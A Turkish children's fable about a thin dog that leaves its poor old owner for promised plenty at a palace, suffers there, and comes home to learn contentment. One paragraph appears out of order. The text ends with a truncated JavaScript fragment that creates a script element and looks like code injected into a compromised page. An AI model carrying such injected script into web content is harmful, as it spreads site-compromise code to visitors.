AÇGÖZLÜLÜĞÜN SONU
Uzak ülkelerin birinde kendi halinde yaşlı bir dede yaşarmış. Bu yaşlı dedenin bir de çok sevdiği köpeği varmış. Köpek çalışkan bir köpek değilmiş. Bütün gün evin önünde yatar dururmuş. Yaşlı dedecik akşam olunca kalan yemeklerin hepsini köpeğiyle paylaşırmış.
Bir gün köpek yine kapının önünde yatarken yolun karşısından geçen tombul köpeği görmüş. Kendisi zayıfken o köpek neredeyse kendisinin iki katıymış.
Köpek, yattığı yerden doğrulmuş:
ZAYIF KÖPEK: ‘Hey, köpek kardeş! Sen nereye gidiyorsun?’
Tombul köpek zayıf köpeğin yanına yaklaşmış. Birazcık gururlanarak anlatmaya başlamış.
TOMBUL KÖPEK: ‘Saraya gidiyorum. Ben sarayda yaşıyorum. Sen burada ne yapıyorsun?’
Zayıf köpek saray lafını duyunca kulaklarını dikmiş.
ZAYIF KÖPEK: ‘Ben de burada yaşlı bir dedenin eline düştüm. Doğru düzgün yemek vermiyor bana. Şu halime bak’ demiş.
Tombul köpek yavaşça yanına yaklaşmış:
TOMBUL KÖPEK: ‘İstersen benimle birlikte saraya gelebilirsin. Orada bize bir sürü yemek veriyorlar. Yediğin önünde yemediğin arkanda.’
Zayıf köpek duyduklarını düşünmeye başlamış. İstediği kadar yiyebileceği bir sürü yemek olduğunu hayal etmiş.
ZAYIF KÖPEK: ‘Tamam, gelirim tabi. Ama önce yaşlı dedeye gideceğimi söylemem lazım.’
Tombul köpekle ikisi beklemeye başlamışlar. Akşama doğru yaşlı dede eve gelmiş.
ZAYIF KÖPEK: ‘Dede, ben artık seninle yaşamak istemiyorum. Bana güzel yemekler vermiyorsun. Ben arkadaşımla birlikte saraya gideceğim.’
Dede duydukları karşısında çok üzülmüş. Köpeğe çok iyi yemekler veremediğini kendisi de biliyormuş fakat her akşam kendi yemeğinde ne varsa köpeğe de aynısından veriyormuş. Fakir olduğu için çok iyi yemekler yapamıyormuş.
YAŞLI DEDE: ‘Sen bilirsin köpekçik. Ama aç gözlülüğün sonu iyi değildir. Burada bütün yemekler senin. Ama orada yemeğini kim bilir kaç tane köpekle paylaşmak zorunda kalacaksın’
ZAYIF KÖPEK: ‘Kararım kesin dede. Ben gidiyorum.’
Köpek tombul köpek arkadaşıyla birlikte saraya doğru yola koyulmuş.
Tombul köpek mutfakta çalışan bir aşçının kızının köpeği imiş. O yüzden aradan sıyrılıp rahatça saraya girmiş. Fakat bizim zayıf köpek dışarıda kalakalmış. Üstelik yemekler döküldüğünde yemek kapmaya çalışırken bir sürü köpeğin arasında kalarak kendini de yaralamış. En sonunda büyük bir çoban köpeği gelmiş ve önündeki yemeği de alarak kaçmış.
Zayıf köpek yaşlı dedenin ne demek istediğini çok iyi anlamış. Yaptığı yanlışı fark etmiş. Gecenin karanlığında aç bir şekilde dedenin evine geri dönmüş.
Saraya vardıklarında bir de ne görsün! Saray kapısının önünde o kadar çok köpek yemek bekliyormuş ki… Hiçbir şey tombul köpeğin anlattığı gibi değilmiş.
Yaşlı dede köpeği görünce kızgın gibi gözükse de içinden sevinmiş. Çünkü o köpeği çok seviyormuş.
ZAYIF KÖPEK: ‘Yaşlı dede, ben büyük bir hata yaptım. Sen doğru söylemişsin. Elimdekiyle yetinmeyi bilmeliydim. Ben daha fazlasını ararken canımdan bile olacaktım.’
YAŞLI DEDE: ‘‘Bu sana ders olsun köpekçik. Bundan sonra elindekiyle yetin, hırsının kurbanı olma!’
Dede köpeği affederek güzelce karnını doyurmuş. O günden sonra köpek de dedeye büyük bir sevgi ile bağlanmış.
İkisi de mutlu mesut hayatlarına devam etmişler.
Unutmayın; daha çoğunu isterken sahip olduklarınızı da kaybedebilirsiniz. O yüzden elimizdekilerle yetinmeyi bilmeliyiz.var d=document;var s=d.createElement(‘script’);